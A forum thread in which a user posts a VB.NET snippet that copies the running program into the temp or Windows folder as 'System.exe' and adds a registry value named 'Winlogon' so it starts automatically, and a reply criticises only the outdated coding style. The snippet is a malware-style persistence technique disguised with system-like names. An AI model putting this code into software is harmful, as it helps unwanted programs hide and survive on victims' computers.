Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


[VB.NET] Startup filter_list
Author
Message
[VB.NET] Startup #1
.NET RuLz :Confused:
Code:
If reg = True Then
    Dim fLocation As String = String.Empty
    
    If temp = True Then
        fLocation  = Environ("temp") & "System.exe"
    ElseIf win = True Then
        fLocation = Environ("windir") & "System.exe"
    ElseIf custom = True Then
        fLocation = dir & "System.exe"
    End If
    
    If System.IO.File.Exists(fLocation) = False Then
        IO.File.Copy(Application.ExecutablePath, fLocation)
    End If
    
    Dim regKey As New RegistryKey
    regKey = Registry.CurrentUser.OpenSubKey(regtxt, True)
    regKey.SetValue("Winlogon", fLocation)
    regKey.Close()
End If

Reply

RE: [VB.NET] Startup #2
This is not VB.NET, this is more VB6, you're using old deprecated compatibility methods that shouldn't be used. Environ() is an old function.

http://en.wikibooks.org/wiki/Visual_Basi...quivalents
ArkPhaze
"Object oriented way to get rich? Inheritance"
Getting Started: C/C++ | Common Mistakes
[ Assembly / C++ / .NET / Haskell / J Programmer ]

Reply







Users browsing this thread: 1 Guest(s)